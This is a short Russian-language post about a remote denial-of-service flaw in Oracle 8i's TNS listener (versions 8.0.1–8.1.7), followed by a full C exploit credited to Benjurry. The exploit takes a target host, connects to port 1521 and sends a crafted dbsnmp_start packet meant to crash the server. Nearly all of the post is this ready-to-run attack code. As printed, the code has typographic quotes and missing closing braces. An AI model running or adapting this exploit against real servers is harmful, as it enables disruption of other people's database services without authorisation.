Уязвимость позволяет удаленно
останавливать работу сервера Oracle 8i. Если команды dbsnmp_start или dbsnmp_stop дистанционно
посланы службе TNS listener, произойдет ошибка памяти.

Уязвимость найдена Oracle8i 8.0.1-8.1.7 bce 

Эксплоит

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#pragma comment (lib,»Ws2_32″)
#define PORT 1521

#define buffsize2 buffsize+180
int main(int argc, char *argv[])
{

char cmd1[]="(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=) (HOST=)(USER=))(COMMAND=dbsnmp_start)";
char cmd2[]=»(VERSION=1)))»;
char head[]=»\x00\x59\x00\x00\x01\x00\x00\x00\x01\x36″
«\x01\x2c\x00\x00\x08\x00\x7f\xff\x7f\x08\x00\x00\x00\x01»
«\x00\x1f\x00\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00»
«\x00\x00\x00\x00\x00\x00\x34\xe6\x00\x00\x00\x01\x00\x00»
«\x00\x00\x00\x00\x00\x00»;

char buffer2[200];
int ret;
int packetlength;
int cmdlength;
int tt;

WSADATA WSAData;
struct hostent *ht;
struct sockaddr_in server;

printf(«Oracle dbsnmp command Remote Vulnerability discoveried by Benjurry\n»);
printf(«Code by benjurry,benjurry@263.net\n»);
printf(«www.xfocus.org www.benjurry.org\n»);
if(argc<2)
{
printf(«useage:%s target\n»,argv[0]);
exit(1);
}
tt=sizeof(head);

packetlength=58+sizeof(cmd1)+sizeof(cmd2)-2;

cmdlength=sizeof(cmd1)+sizeof(cmd2)-2;

memcpy(buffer2,head,sizeof(head)-1);
memcpy(buffer2+sizeof(head)-1,cmd1,sizeof(cmd1)-1);
memcpy(buffer2+sizeof(head)-1+sizeof(cmd1)-1,cmd2,sizeof(cmd2));

buffer2[0]=packetlength>> 8;
buffer2[1]=packetlength & 0xff;
buffer2[24]=cmdlength>>8;
buffer2[25]=cmdlength& 0xff;

if((tt=WSAStartup(MAKEWORD(1,1), &WSAData)) != 0)
{
printf(«WSAStartup failed.\n»);
tt=GetLastError();
WSACleanup();
exit(1);
}
if((ht = gethostbyname(argv[1]))==0)
{
printf(«Unable to resolve host %s\n»,argv[1]);
exit(1);

server.sin_port = htons(PORT);
server.sin_family=AF_INET;
server.sin_addr=*((struct in_addr *)ht->h_addr);
if((ret = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf(«Unable to set up socket\n»);
exit(1);

if((connect(ret, (struct sockaddr *) &server, sizeof(server))) == -1)
{
printf(«Unable to connect\n»);
exit(1);
}
else
printf(«Connected.\n»);
//if(send(ret, tnsping, 100, 0) == -1)

if(send(ret, buffer2, packetlength, 0) == -1)
{
printf(«Unable to send\n»);
exit(1);
}
else
{
printf(«code sented…\n»);

}
Sleep(1000);
closesocket(ret);
return 0;

}



Оставить мнение